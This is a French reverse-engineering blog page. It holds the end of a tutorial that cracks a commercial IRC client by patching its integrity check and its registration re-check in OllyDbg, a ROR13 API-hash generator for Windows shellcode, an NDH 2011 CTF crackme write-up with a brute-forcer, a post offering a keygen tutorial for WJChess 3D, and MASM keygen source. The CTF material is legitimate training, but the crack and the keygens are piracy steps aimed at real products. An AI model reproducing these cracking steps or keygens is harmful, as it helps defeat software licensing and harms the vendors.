Pour checker l’intégralité d’un binaire, il faut l’ouvrir puis le lire. Sur windows, cela se fait avec les fonctions CreateFile et ReadFile. Je vais donc recharger le logiciel dans OllyDbg et mettre un breakpoint sur chaque appel de ces fonctions.

Je démarre OllyDbg, et dans File -> Open j’ouvre le logiciel que je viens de modifier. Ensuite, pour placer les breakpoints, je clique droit sur la fenêtre CPU (partie code assembleur) -> Search for -> Name (label) in current module (CTRL+N) et, clique droit sur KERNEL32.CreateFileW et KERNEL32.ReadFile pour choisir Set breakpoint on every reference.

Maintenant je peux run le logiciel avec F9. Je tombe alors sur le premier breakpoint, le premier CreateFileW dont il faut regarder le nom du fichier qui va être ouvert, dans mon cas il s’agit bien du logiciel. Je garde donc en tête l’adresse de la valeur de retour du CreateFileW qui correspond au handle du fichier.

Je continue l’exécution (touche F9) pour tomber sur un nouveau breakpoint qui correspond à un ReadFile. Une fois rendu ici, je commence par comparer les handles, qui, dans mon cas, correspondent parfaitement.

La fonction ReadFile prend en argument un pointeur sur le buffer qui va contenir ce qui va être lu. Je vais poser un breakpoint pour stopper l’exécution lorsque ce buffer sera lu. Dans la fenêtre CPU, sur la partie qui correspond à la pile, je vois l’adresse de ce buffer. Je clique droit dessus et je choisis « Follow in Dump ». Ensuite, dans la partie de la fenêtre CPU correspondant au « Hex dump », je me place sur le premier byte pour y faire un clique droit -> Breakpoint -> Hardware, on access et choisis Dword.

Je run (F9) et je tombe sur le Hardware breakpoint où j’y vois la ligne suivante :

1	REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

On voit donc qu’il met tout dans ES:[EDI]. Je vais refaire un Hardware breakpoint mais ce coup-ci sur ES:[EDI]. Dans la fenêtre CPU, dans la petite partie entre le code assembleur et la partie « Hex dump », j’y vois l’adresse de ce ES:[EDI]. Je me place dessus puis clique droit et « Follow address in Dump ». Je me replace, dans « Hex dump », sur le premier byte puis clique droit puis Breakpoint -> Hardware, on access et rechoisis Dword.

Pour ne pas retomber sur le Hardware breakpoint 1, je le delete : menu Debug -> Hardware breakpoints -> Delete 1 et valide. Je désactive également tous les autres breakpoints : menu View -> Breakpoints et je supprime tout.

Je run (F9). Je tombe alors sur une grosse boucle qui a l’air de checker si c’est correct. A la première sortie de la boucle dans laquelle je suis tombée, je vois une comparaison et un saut qui n’est pas effectué :

1 2	CMP EAX,-1 JE SHORT logiciel.0044B123

Je décide de prendre ce saut en remplaçant (touche espace sur la ligne) ce JB par un JMP. Le code devient donc :

1	JMP SHORT logiciel.0044B123

Avec ce saut, je me retrouve à la ligne juste après la boucle qui, je suppose, check le CRC. Ensuite, je delete le Hardware breapoint 2 : menu Debug -> Hardware breakpoints -> Delete 2 et OK. Je run à nouveau (F9) et le logiciel se lance. Je vérifie et je vois qu’il est bien enregistré en tant qu’opc0de. Le logiciel est donc cracké ! Il faut enregistrer notre travail car ce n’est pas finit.

L’espèce d’anti-crack :

Si vous utilisez le logiciel tel qu’il est maintenant, vous remarquerez qu’au bout d’environ 10 minutes d’utilisation, vous ne serez plus enregistré et qu’à son prochain démarrage, vous ne le serez plus du tout.

Donc il doit y avoir dans notre logiciel une routine qui doit revérifier si notre enregistrement est correct et supprimer quelque chose qui, je suppose, se trouve dans la base de registre.

Relançons notre logiciel dans OllyDbg, puis rendons-nous sur notre channel favoris, mettons des breakpoints à l’appel de la fonction fournie par l’api win32 pour delete une donnée dans la base de registre, cette fonction se nomme : RegDeleteKeyW.

Donc, fenêtre CPU, partie code assembleur, clique droit -> « Search for » -> « Name (label) in current module » (CTRL+N), clique droit sur « ADVAPI32.RegDeleteKeyW » et choisir « Set breakpoint on every reference ».

Au bout d’environ 10 minutes d’utilisation, OllyDbg break dessus dans une petite routine. Maintenant je regarde dans la stack où est appelée cette routine et je m’y place, je vois bien le call qui nous y amène. Quelques lignes plus haut on peut voir un JNZ qui saute la partie où est exécuté ce call :

1	JNZ logiciel.00FC8756

Je pause un breakpoint dessus, je delete tous les autres breakpoints et je relance le logiciel dans OllyDbg. Il n’y a plus qu’à attendre, toujours environ 10 minutes après avoir rejoint un channel.

OllyDbg break sur notre JNZ et on voit bien qu’il n’est pas pris en compte, on le change par un JMP pour être sûr qu’il jump et on voit ce qu’il se passe…

Avec cette modification le logiciel IRC reste enregistré.

Voilà, c’est tout pour ce tutoriel car il n’y a plus rien à faire sur le logiciel irc que j’ai utilisé comme exemple.

Publié dans Cracking | Marqué avec crack, irc | 2 commentaires

Generate Hash :

Publié le 10 septembre 2011 par opc0de

Code sans GUI qui permet de générer le hash d’une fonction comme par exemple MessageBoxA pour être utilisé dans les shellcodes sur windows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
char *funcname = NULL;
DWORD res = 0;

if(argc != 2)
{
printf("USAGE: GenerateHash.exe <funcname>\n");
printf("EXEMPLE: GenerateHash.exe MessageBoxA\n\n");
system("PAUSE");
exit(1);
}

else funcname = argv[1];

__asm
{
prepare_hash:
mov esi, funcname // On fait pointer esi sur funcname.
xor edi, edi // On met edi à zéro.
xor eax, eax // On met eax à zéro.
cld // Clear direction flag : pour être sûr que ça incrémente (de gauche à droite) pendant l'utilisation de lodsb.

hash:
lodsb // Charge un byte de esi dans al et incrémente esi.
test al, al // On regarde si le byte est à zéro.

jz hash_finished // Si oui on a atteint la fin de la string (funcname).
ror edi, 0xd // Rotation de 13 bits vers la droite de la valeur courante.
add edi, eax // Ajout du caractère au hash.

jmp hash // On continue.

hash_finished: // On a finit.
mov res, edi // On met le hash dans la variable res.
}

printf("\n%s = %.8x\n", funcname, res);

return 0;
}

Publié dans Shellcode | Marqué avec asm, payload, shellcode, win32 | Laisser un commentaire

KeygenMe By int_0x80

Publié le 7 août 2011 par int_0x80

Bonjour all!

Cela faisait un moment que je n’avais pas posté sur le blog. Mais en voyant le temps qu’il faisait dehors, je me suis dis qu’un peu de code ne devrait pas me faire de mal. C’est pourquoi j’ai développé un petit KeygenMe (mon premier), donc ne vous attendez pas à quelque chose d’exceptionnel! Il est d’un niveau relativement simple. J’attends des critiques en retour, merci.

Cliquez ici pour télécharger le KeygenMe

– Système : Debian Squeeze.
– Md5 (binaire) : 3e83496ed6014d8cdd7694d8f4eb08d3
– Compilé avec gcc version 4.4.5.
– Paquet à installer : libgtk2.0-0
– Objectif : Trouver le serial correspondant à votre login.

Un petit screen :

Publié dans Non classé | Marqué avec C, Gtk, KeygenME | Un commentaire

Préquals NDH 2011 – La Nuit Du Crack (rce100 ne se fume pas, il se crack) – By Lu33y & int_0x80

Publié le 22 avril 2011 par int_0x80

Le 2 avril 2011 a fait place aux pré-qualifications de la NDH 2011. Un CTF très attendu qui est malheureusement tombé un week-end de beau temps. Et qui dit temps magnifique, dit promenades, sport et très peu de « geekage » !

Mais je ne pouvais pas résister à un sympathique challenge de Reverse-Engineering win32.

C’est pour cette raison que je me suis retrouvé à me triturer les neurones sur le rce100!

Voici le programme de ce write-up :

I/ – Découverte du CrackMe. (Lu33y)
II/ – Unpacking « presque » perso. (Lu33y)
III/ – Elle est où cette routine de vérification de mot de passe ? (Lu33y)
IV/ – Le côté obscure du bruteforcing. (int_0x80)

I/ Découverte du CrackMe :

On a affaire à un CrackMe qui nous demande d’entrer un code afin de valider l’épreuve.

On commence par lancer notre bon vieux « PEiD » :

Celui-ci ne trouve aucune signature de « packer » connu. On se dit alors que pour une épreuve qui rapporte 100 points, on a peut-être affaire à un CrackMe tout simple …
On ouvre donc le CrackMe sous OllyDbg puis on enchaine avec un « ctrl+n » :

Entre le pushAD, le warning d’OllyDbg et l’appel à « VirtualAlloc » on comprend vite que l’on a affaire à un programme « packé » !!!

II/ Unpacking « presque » perso :

Le « packer » ressemble beaucoup à UPX. Je dis ressemble car il ne m’a pas été possible d’utiliser un « unpacker » UPX dessus … Donc on y va à « la mano » !!!
Comme pour UPX, notre programme commence avec un « PUSHAD » qui sauvegarde tous les registres dans la pile.
Il faut que l’on trouve le code assembleur « POPAD » qui va restaurer tous les registres avant de sauter vers un nouvel OEP.

Voila à quoi ressemble cette routine en général :

1
2
3
4
5
6
7

PUSHAD
Du code
Encore du code
…
…
POPAD
JMP vers OEP

Dans le cas du rce100, on a ceci :

PUSH AD :

POP AD :

Dans un premier temps, on va chercher à avoir notre programme sous sa forme décompressée en mémoire. Pour cela, on pose un breakpoint (F2) sur l’instruction assembleur « JMP 0041E74B » (vous aurez probablement une adresse différente), on lance notre programme (F9) et on avance d’une instruction (F8).
Au passage, on note le nouvel OEP. Maintenant que notre programme est décompressé en mémoire, on va chercher à obtenir une copie sur notre disque dur, qu’on appelle plus communément : un dump. Pour cela on peut utiliser LordPE ou le plugin Ollydump (ce qui revient au même !).

Utilisons LordPE :

On sélectionne notre programme et on note au passage l’IMAGEBASE, qui est ici de 400000. On clique droit et on sélectionne Dump Full comme ci-dessous :

On finit par enregistrer le « dump » sur notre disque dur avec le nom « dump.exe ».
Le dump nouvellement crée contient toutes les instructions nécessaires au bon fonctionnement du CrackMe, pourtant si on essaie de l’exécuter il ne fonctionnera pas.
En effet, le CrackMe utilise des fonctions qui ne sont pas propre à lui-même.
Toutes ces informations sont contenues dans l’IAT du CrackMe (Import Address Table). « Dumper » un programme ne reconstruit pas un IAT exploitable, c’est pour cette raison que notre « dump.exe » ne fonctionne pas. Il va donc falloir reconstruire cette table.
Pour nous aider dans cette tâche, nous allons utiliser ImpRec [d’ou Import Reconstructor]. Nous commençons par sélectionner notre CrackMe : rce100.exe
Dans la fenêtre de log on peut noter encore l’ImageBase 400000.
Nous avons vu plus haut que notre nouvel OEP était 0041E74B donc pour ImportRec nous faisons OEP=Nouvel OEP – imagebase de Olly : 0041E74B – 400000 = 1E74B. On modifie cette donnée manuellement si besoin dans la case “OEP”, puis on clique sur IAT Auto Search.

Tout fonctionne jusqu’à présent, puisque ImpRec trouve quelque chose et nous le dit. Il ne nous reste plus qu’à cliquer sur « Get Imports », et ceux-ci doivent être valides comme ci-dessous :

Maintenant, on va réparer le dump endommagé en cliquant sur Fix Dump, puis en sélectionnant notre fichier dump.exe.
ImpRec sauvegarde une copie de notre dump appelé “dump_.exe”. Si vous l’essayez, le fichier nouvellement crée fonctionne !
On se retrouve finalement avec un CrackMe lisible sur lequel on va pouvoir travailler.

III/ Elle est où cette routine de vérification de mot de passe?

On commence par effectuer une recherche sur les chaînes de caractère qui ne nous ne retournent pas trop d’infos.
On poursuit avec un « CTRL + n » et on se met à chercher une API intéressante.
On pose un breakpoint sur un « strcmp », et on debug en mode pas à pas jusqu’à tomber sur une fonction qui retourne un résultat nous permettant de rediriger le flux de notre programme vers un BadBoy ou un GoodBoy.

On comprend très rapidement que l’on est face à la routine de vérification du mot de passe.

On traduit cette portion de code assembleur en pseudo-code, telle que :

Fonction de calcul d’un hash perso :

1
2
3
4
5
6
7
8
9
10

[
ESI = 0xDEADBEEF
1/ Pour chaque caractère composant notre « serial » :
ESI = ESI x 0x38271606
EAX = EAX x 0x5B86AFFE
EAX = EAX - ESI
ESI = EAX
End 1/
EAX = ESI
]

Pour obtenir le GoodBoy, EAX doit être égal à 0xC4B1801C.

IV/ Le côté obscure du bruteforcing :

C’est bientôt finit, mais il faut encore se triturer les méninges … (pour 100 points).
Le seul moyen de trouver la solution qui nous permettrait d’afficher un GoodBoy est de tester toutes les solutions possibles en brute forçant !
On commence donc par croiser les doigts en espérant que le staff nous ai épargné plusieurs heures de calculs avec un serial de petite taille.
Il n’y avait donc plus qu’à coder ce brute-forcer. C’est à l’aide d’aXs qu’on arriva à nos fins.

Donc voici notre chef d’oeuvre :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int sub_41EC50(const char *a1)
{
unsigned int v1; // edx@1
const char *v2; // ecx@1
int v3; // esi@1
char v4; // al@2

v2 = a1;
v3 = -559038737;
v1 = 0;
do
v4 = *v2++;
while ( v4 );
if ( v2 != a1 + 1 )
{
do
v3 = 1535553534 * a1[v1++] - 942085638 * v3;
while ( v1 < strlen(a1) );
}
return v3;
}

int main(int argc, char **argv)
{
char key[32];
char *nl;
FILE *f;
int c;

int hash;

//f = fopen(argv[1], "r");
f = stdin;

while(!feof(f))
{
fgets(key, 32, f);
nl = strrchr(key, '\r');
if (nl) *nl = '\0';
nl = strrchr(key, '\n');
if (nl) *nl = '\0';
if (!strlen(key)) continue;

hash = sub_41EC50(key);

if (c % 100000 == 0)
{
printf("hash: %X\n", hash);
}

if (hash == 0xC4B1801C)
{
printf("OK for hash: %s\n", key);
exit(0);
}

c++;
}
}

Une fois compilé, j’utilise un « tool » qu’aXs m’a conseillé, celui-ci se nomme : crunch.
Il va me permettre de générer un fichier (dictionnaire) qui contiendra toutes les permutations possibles pour un serial qui contiendrait des chiffres, des lettres majuscules et des lettres minuscules. On définit notre keyspace à 5 chars.

Ci-dessous, la commande utilisée pour générer le dictionnaire de brute force qui enchaîne en exécutant le programme :

1
2
3
4
5
6
7
8
9
10
11
12

int_0x80@int0x80:~/Bureau/crunch2.9$ ./crunch 5 5 -f charset.lst mixalpha-numeric | ./bf
[ ... ]
hash: 961CD642
hash: B924CB5A
hash: E3CBE2F2
hash: C357B796
hash: A14BF876
hash: D2BA93F6
hash: F5C2890E
hash: 46DEC4E8
OK for hash: pWn3D
int_0x80@int0x80:~/Bureau/crunch2.9$

On obtient le « serial » qui permet de valider l’épreuve : pWn3D
Merci à aXs pour son aide au bruteforcing et à Overclok[] qui nous a aidé à valider cette foutue épreuve 🙂

Publié dans Non classé | Marqué avec asm, cracking, debugger, desassembleur, NDH, nuit du hack, olly, ollydbg, pe, peid, reverse engineering | Laisser un commentaire

Tuto 11 : Keygenning de WJChess 3D

Publié le 22 février 2011 par Horgh

Suite aux demandes incessantes de certaines personnes me demandant si j’étais mort depuis quelques temps, j’ai décidé de rédiger un petit tutoriel en pdf (10 pages) sur le keygenning d’un logiciel protégé par du md5, la protection étant sympathique. La source ASM est jointe dans l’archive.

Bien évidemment, toute critique, positive ou négative, me fera plaisir.

Enjoy it

KG WJ Chess

EDIT : update du lien suite à une erreur dans la source (je n’avais pas up la version finale…). Merci à uLysse_31 pour me l’avoir signalé.

P.S : j’ai un autre tuto en cours, sur le reversing d’un trojan de A à Z (du packer au payload), j’en suis à environ 50% (12 pages) et j’ai la flemme de le continuer ; soyez donc très patients ^^

Publié dans Non classé | Laisser un commentaire

Keygen int_0x80 with water_effect !

Publié le 31 décembre 2010 par int_0x80

C’est après avoir analysé le code de Xylitol : http://xylibox.blogspot.com/2010/12/waveasm-watereffect-from-asmyeahnet.html que je me suis permis de modifier le keygen que je vous ai proposé dans mon dernier article : (https://www.re-xe.com//keygenning-4-newbies-crackme-coded-by-the-analyst/)

Voici la source :

Keygen.asm :

.486
.model flat, stdcall
option casemap :none ; case sensitive

include keygen.inc

szFormat db "%X",0
szSizeMax db "Entrez moins de caractères !",0
szSizeMin db "Entrez plus de caractères !",0
szCap db "Keygen By int_0x80",0
szTitle db "Error",0
szError db "An error has occured",0

.data?
hInstance dd ?
stWaveObj WAVE_OBJECT <?>
xWin dd ?
hBitmap dd ?
bitmp dd ?
szName db 256 dup(?)
szSerial db 256 dup(?)
LenName db 256 dup(?)

.code
start:
invoke GetModuleHandle, NULL
MOV hInstance, EAX
invoke DialogBoxParam, hInstance, IDD_KEYGEN, 0, ADDR DlgProc, 0
invoke ExitProcess, EAX
;###############################################################################################################################################################
DlgProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
;###############################################################################################################################################################
local @stPs:PAINTSTRUCT,@hDc,@stRect:RECT
local @stBmp:BITMAP
local hMemDC:HDC

.if uMsg==WM_INITDIALOG
invoke LoadBitmap,hInstance,1007
MOV hBitmap,EAX
PUSH hBitmap
invoke _WaveInit,addr stWaveObj,hWin,hBitmap,30,0

.if EAX
invoke MessageBox,hWin,addr szError,addr szTitle,MB_OK or MB_ICONSTOP
CALL _Quit
.else
.endif

;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

POP hBitmap
invoke DeleteObject,hBitmap
invoke _WaveEffect,addr stWaveObj,1,5,4,250

.elseif uMsg == WM_PAINT
invoke BeginPaint,hWin,addr @stPs
MOV @hDc,EAX
invoke CreateCompatibleDC,@hDc
MOV hMemDC,EAX
invoke SelectObject,hMemDC,hBitmap
invoke GetClientRect,hWin,addr @stRect
invoke BitBlt,@hDc,10,10,@stRect.right,@stRect.bottom,hMemDC,0,0,MERGECOPY
invoke DeleteDC,hMemDC
invoke _WaveUpdateFrame,addr stWaveObj,eax,TRUE
invoke EndPaint,hWin,addr @stPs
XOR EAX,EAX
XOR ECX,ECX
RET

.elseif uMsg==WM_COMMAND
.if wParam == IDC_GENERATE
invoke GetDlgItemText,hWin,1002,addr szName,sizeof szName
;###############################################################################################################################################################
MOV DWORD PTR [LenName], EAX ; Stockage de eax dans LenName
CMP EAX, 04h ; On compae la taille à 4d.
JB @MinSize ; On saute si inférieur, le je saute si c'est égal.
CMP EAX, 32h ; Puis on la compare à 50d (50 chars max).
JA @MaxSize ; On saute vers le label appelé 'szSizeMax' si supérieur.
XOR EAX,EAX ; MOV eax, 0
XOR EBX,EBX ; MOV ebx, 0
XOR ECX,ECX ; MOV ecx, 0
XOR EDX,EDX ; MOV edx, 0
;###############################################################################################################################################################
; Routine
@Routine:
MOV AL,BYTE PTR [ecx+szName] ; Met dans AL chaque char du name un par un à chaque fois que je boucle ( car ECX est incrémenté ligne suivante ).
INC ECX ; Incrémentation de ECX pour le définir comme compteur de chars contenus dans le name.
XOR EAX,ECX
ADD EBX,EAX ; Additionne ebx à eax. eax contenant les chars du name.
CMP ECX,DWORD PTR [LenName] ; Compare le nombre de chars du compteur au nombre de chars du name.
JNE @Routine ; Boucle si le résultat du cmp précédent n'a pas été égal à 0, c'est à dire si ecx, le compteur, n'a pas été égal au nombre de chars du nom.
IMUL EAX,EAX,6 ; Multiplie le char pécédemment xoré par 6.
SHL EBX,7 ; Multiplie ebx par 2^7.
ADD EAX,EBX ; Additionne eax à ebx.
PUSH EAX
PUSH offset szFormat ; ASCII "%X"
PUSH offset szSerial
CALL wsprintf
;###############################################################################################################################################################
invoke SetDlgItemText,hWin,1003,addr szSerial
RET
@MinSize:
invoke MessageBox,hWin,addr szSizeMin,addr szCap,MB_ICONEXCLAMATION
RET
@MaxSize:
invoke MessageBox,hWin,addr szSizeMax,addr szCap,MB_ICONEXCLAMATION
RET

.elseif uMsg==WM_DESTROY
invoke DeleteObject,hBitmap
invoke PostQuitMessage,NULL
.endif

.elseif uMsg == WM_CLOSE
CALL _Quit
invoke EndDialog,xWin,0
.endif

.if wParam == IDC_COPY
invoke SendDlgItemMessage,hWin,IDC_SERIAL,EM_SETSEL,0,-1
invoke SendDlgItemMessage,hWin,IDC_SERIAL,WM_COPY,0,0

.elseif wParam == IDC_EXIT
invoke SendMessage,hWin,WM_CLOSE,0,0
.endif
XOR EAX,EAX
RET

DlgProc endp

_Quit proc

invoke _WaveFree,addr stWaveObj
invoke DestroyWindow,xWin
invoke PostQuitMessage,NULL
RET
_Quit endp
end start

Keygen.inc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

uselib MACRO libname
include libname.inc
includelib libname.lib
ENDM

uselib user32
uselib kernel32
include windows.inc
include comctl32.inc
include winmm.inc
include gdi32.inc
include C:\masm32\macros\macros.asm
include WaveObject.asm
includelib user32.lib
includelib kernel32.lib
includelib gdi32.lib
includelib comctl32.lib
includelib winmm.lib

; Prototype des fonctions :
DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

; Définition des constantes ici :
.const
IDD_KEYGEN equ 1001
IDC_NAME equ 1002
IDC_SERIAL equ 1003
IDC_GENERATE equ 1004
IDC_COPY equ 1005
IDC_EXIT equ 1006
IDC_OK equ 1010
LOGO equ 1007
LOGO2 equ 1008

Keygen.rc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

#define IDD_KEYGEN 1001
#define IDC_NAME 1002
#define IDC_SERIAL 1003
#define IDC_GENERATE 1004
#define IDC_COPY 1005
#define IDC_EXIT 1006
#define LOGO 1007
#define MyIcon 1013
#define LOGO2 1008

LOGO BITMAP DISCARDABLE "LOGO1.bmp"
LOGO2 BITMAP DISCARDABLE "LOGO2.bmp"
MyIcon ICON DISCARDABLE "favicon.ico"

IDD_KEYGEN DIALOGEX 0,0,262,205
CAPTION "Keygen By int_0x80"
FONT 8,"MS Sans Serif"
STYLE 0x10cc0000
EXSTYLE 0x00000000
BEGIN
CONTROL "#1007",LOGO,"Static",0x1080020e,-7,-62,277,194,0x00000000
CONTROL "#1008",LOGO2,"Static",0x1080020e,-7,74,277,137,0x00000000
CONTROL "",IDC_NAME,"Edit",0x50010080,73,86,154,16,0x00000200
CONTROL "",IDC_SERIAL,"Edit",0x50010080,73,121,154,16,0x00000200
CONTROL "Generate",IDC_GENERATE,"Button",0x50010000,7,157,70,16,0x00000000
CONTROL "Exit",IDC_EXIT,"Button",0x50010000,183,157,70,16,0x00000000
CONTROL "Copy",IDC_COPY,"Button",0x50010000,96,157,70,16,0x00000000
END

WaveObject.asm :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Ë®²šÐ§¹û¹«ÓÃ×Ó³ÌÐò
; by ÂÞÔÆ±ò£¬http://asm.yeah.net£¬luoyunbin@sina.com
; V 1.0.041019 --- ³õÊŒ°æ±Ÿ
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ÔÚÔŽŽúÂëÖÐÖ»ÐèÒª include WaveObject.asm
; È»ºó°ŽÒÔÏÂ²œÖèµ÷ÓÃŒŽ¿É£º
;********************************************************************
; 1¡¢ŽŽœšË®²š¶ÔÏó£º
; Òª¶ÔÒ»žöŽ°¿ÚœøÐÐ»æ»£¬Ê×ÏÈÒªŽŽœšÒ»žöË®²š¶ÔÏó£š±Ÿº¯ÊýÉêÇëÒ»Ð©»º³åÇø£©
; invoke _WaveInit,lpWaveObject,hWnd,hBmp,dwTime,dwType
; lpWaveObject --> ÖžÏòÒ»žö¿ÕµÄ WAVE_OBJECT œá¹¹
; hWnd --> Òª»æ»Ë®²šÐ§¹ûµÄŽ°¿Ú£¬äÖÈŸºóµÄÍŒÆ¬œ«»µœŽ°¿ÚµÄ¿Í»§ÇøÖÐ
; hBmp --> ±³Ÿ°ÍŒÆ¬£¬»æ»µÄ·¶Î§ŽóÐ¡Í¬±³Ÿ°ÍŒÆ¬ŽóÐ¡
; dwTime --> Ë¢ÐÂµÄÊ±ŒäŒäžô£šºÁÃë£©£¬œšÒéÖµ£º10¡«30
; dwType --> =0 ±íÊŸÔ²ÐÎË®²š£¬=1±íÊŸÍÖÔ²ÐÍË®²š£šÓÃÓÚÍžÊÓÐ§¹û£©
; ·µ»ØÖµ£ºeax = 0£š³É¹Š£¬¶ÔÏó±»³õÊŒ»¯£©£¬eax = 1£šÊ§°Ü£©
;********************************************************************
; 2¡¢Èç¹û _WaveInit º¯Êý·µ»Ø³É¹Š£¬Ôò¶ÔÏó±»³õÊŒ»¯£¬œ«¶ÔÏóŽ«žøÏÂÁÐž÷ÖÖº¯Êý
; ¿ÉÒÔÊµÏÖž÷ÖÖÐ§¹û£¬ÏÂÃæº¯ÊýÖÐµÄ lpWaveObject ²ÎÊýÖžÏòÔÚ _WaveInit º¯Êý
; ÖÐ³õÊŒ»¯µÄ WAVE_OBJECT œá¹¹
;
; ¡ò ÔÚÖž¶šÎ»ÖÃ¡°ÈÓÊ¯Í·¡±£¬Œ€ÆðË®²š
; invoke _WaveDropStone,lpWaveObject,dwPosX,dwPosY,dwStoneSize,dwStoneWeight
; dwPosX,dwPosY --> ÈÓÏÂÊ¯Í·µÄÎ»ÖÃ
; dwStoneSize --> Ê¯Í·µÄŽóÐ¡£¬ŒŽ³õÊŒµãµÄŽóÐ¡£¬œšÒéÖµ£º0¡«5
; dwStoneWeight --> Ê¯Í·µÄÖØÁ¿£¬Ÿö¶šÁË²š×îºóÀ©É¢µÄ·¶Î§ŽóÐ¡£¬œšÒéÖµ£º10¡«1000
;
; ¡ò ×Ô¶¯ÏÔÊŸÌØÐ§
; invoke _WaveEffect,lpWaveObject,dwEffectType,dwParam1,dwParam2,dwParam3
; dwParam1,dwParam2,dwParam3 --> Ð§¹û²ÎÊý£¬¶Ô²»Í¬µÄÌØÐ§ÀàÐÍ²ÎÊýº¬Òå²»Í¬
; dwEffectType --> ÌØÐ§ÀàÐÍ
; 0 --> ¹Ø±ÕÌØÐ§
; 1 --> ÏÂÓê£¬Param1£œÃÜŒ¯ËÙ¶È£š0×îÃÜ£¬ÔœŽóÔœÏ¡Êè£©£¬œšÒéÖµ£º0¡«30
; Param2£œ×îŽóÓêµãÖ±Ÿ¶£¬œšÒéÖµ£º0¡«5
; Param3£œ×îŽóÓêµãÖØÁ¿£¬œšÒéÖµ£º50¡«250
; 2 --> ÆûÍ§£¬Param1£œËÙ¶È£š0×îÂý£¬ÔœŽóÔœ¿ì£©£¬œšÒéÖµ£º0¡«8
; Param2£œŽ¬ŽóÐ¡£¬œšÒéÖµ£º0¡«4
; Param3£œË®²šÀ©É¢µÄ·¶Î§£¬œšÒéÖµ£º100¡«500
; 3 --> ·çÀË£¬Param1£œÃÜ¶È£šÔœŽóÔœÃÜ£©£¬œšÒéÖµ£º50¡«300
; Param2£œŽóÐ¡£¬œšÒéÖµ£º2¡«5
; Param3£œÄÜÁ¿£¬œšÒéÖµ£º5¡«10
;
